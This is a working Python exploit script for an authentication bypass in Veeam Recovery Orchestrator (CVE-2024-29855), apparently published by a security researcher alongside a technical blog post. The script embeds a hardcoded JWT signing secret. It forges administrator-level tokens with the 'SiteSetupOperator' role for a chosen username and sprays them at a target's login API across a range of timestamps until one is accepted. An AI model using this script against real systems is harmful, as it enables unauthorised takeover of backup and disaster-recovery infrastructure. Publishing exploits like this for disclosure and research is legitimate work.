""" Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855) Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/ """ banner = r""" _______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______ |______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | | ______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | | (*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855) (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam) (*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/ """ """""" import jwt import time import warnings import requests import argparse from concurrent.futures import ThreadPoolExecutor import signal import sys warnings.filterwarnings("ignore") jwt_secret = "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI=" counter = 0 def exploit_token(token): global counter url = f"{args.target.rstrip('/')}/api/v0/Login/GetInitData" headers = {"Authorization": f"Bearer {token}"} try: res = requests.get(url, verify=False, headers=headers) if(res.status_code == 200): print(f"(+) Pwned Token: {token}, Status code: {res.status_code}\n(+) Response: {res.text}") counter = 21 sys.exit(0) if(args.debug or counter == 10): print(f"(INFO) Spraying JWT Tokens: {res.status_code}") counter = 0 except requests.exceptions.RequestException as e: if args.debug: print(f"(INFO) Request failed: {e}") counter += 1 def generate_token_and_exploit(current_time): claims = { "unique_name": args.username, "role": "SiteSetupOperator", "nbf": current_time, "exp": current_time + 900, "iat": current_time } encoded_jwt = jwt.encode(claims, jwt_secret, algorithm="HS256") exploit_token(encoded_jwt) def signal_handler(sig, frame): print('Interrupted! Shutting down gracefully...') executor.shutdown(wait=False) sys.exit(0) if __name__ == "__main__": print(banner) parser = argparse.ArgumentParser(description="Generate and exploit JWT tokens.") parser.add_argument("--start_time", type=int, help="Start time in epoch format", required=True) parser.add_argument("--end_time", type=int, help="End time in epoch format", required=True) parser.add_argument("--username", type=str, help="administrator@evilcorp.local or evilcorp\\administrator", required=True) parser.add_argument("--target", type=str, help="target url, e.g. https://192.168.253.180:9898/", required=True) parser.add_argument("--debug", action="store_true", help="Enable debug mode") args = parser.parse_args() start_time = args.start_time end_time = args.end_time signal.signal(signal.SIGINT, signal_handler) with ThreadPoolExecutor() as executor: signal.signal(signal.SIGINT, lambda sig, frame: signal_handler(sig, frame)) current_time = start_time while current_time < end_time: try: executor.submit(generate_token_and_exploit, current_time) current_time += 1 except KeyboardInterrupt: print("Keyboard interrupt received, shutting down...") executor.shutdown(wait=False) sys.exit(0)